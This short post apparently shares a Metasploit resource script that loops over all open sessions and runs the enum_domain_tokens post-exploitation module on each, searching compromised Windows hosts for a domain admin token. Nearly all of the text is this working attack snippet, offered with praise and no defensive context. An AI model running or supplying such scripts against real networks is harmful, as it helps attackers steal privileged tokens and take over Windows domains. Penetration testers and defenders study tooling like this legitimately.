Pretty straightforward little pattern here that will run a post module against all open sessions.
## This RC file assumes that you've got a bunch of open sessions, and now you want to go searching for a domain admin token. use post/windows/gather/enum_domain_tokens ## Now run against all open sessions framework.sessions.count.each do |session| run_single("set SESSION #{session.first}") run_single("run") sleep 1 end
Super powerful